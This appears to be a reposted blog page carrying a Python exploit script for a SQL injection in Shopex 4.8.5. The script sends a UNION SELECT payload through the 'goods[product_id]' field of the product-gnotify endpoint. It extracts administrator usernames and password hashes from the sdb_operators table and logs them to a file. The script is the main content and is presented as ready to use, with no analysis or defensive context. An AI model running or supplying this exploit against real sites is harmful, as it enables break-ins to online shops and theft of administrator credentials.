zoukankan      html  css  js  c++  java
  • 数字雨Shopex 4.8.5 SQL Injection Exp

    # -*- coding:utf-8 -*
    #Author:MXi4oyu
    #Email:798033502@qq.com
    #Shopex 4.8.5 SQL Injection Exp
    #转载请说明来路,谢谢合作
    import httplib2
    from urllib import urlencode
    import re
    import time

    outfile=open('result.txt','a+')
    def Exp(url):
        url=url+'/?product-gnotify'
        #定义要提交的数据
        html='1 and 1=2 union select 1,2,3,4,5,6,7,8,concat(0x245E,username,0x2D3E,userpass,0x5E24),10,11,12,13,14,15,16,17,18,19,20,21,22 from sdb_operators limit 0,1'
        data={"goods[goods_id]":'3',"goods[product_id]":html}
        h = httplib2.Http('.cache')
        response,content = h.request(url, 'POST', urlencode(data),
                                     headers={'Content-Type': 'application/x-www-form-urlencoded'})
        gre=re.compile('$^(.+)?^$')
        s=content
        pwd=gre.findall(s)[0]
        outfile.write(url+" "+pwd+" +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ")

    if __name__=='__main__':
        Exp('http://www.xxx.com/')

  • 相关阅读:
    UVA401
    CodeForces 1330A
    CodeForces 1328C
    FZU 1759
    LightOJ 1259
    LightOJ 1341
    SDUT3930
    java入门 学习日志九(面向对象七)
    html 制作简单网页
    java入门 学习日志八(面向对象六)
  • 原文地址:https://www.cnblogs.com/javawebsoa/p/3150364.html
Copyright © 2011-2022 走看看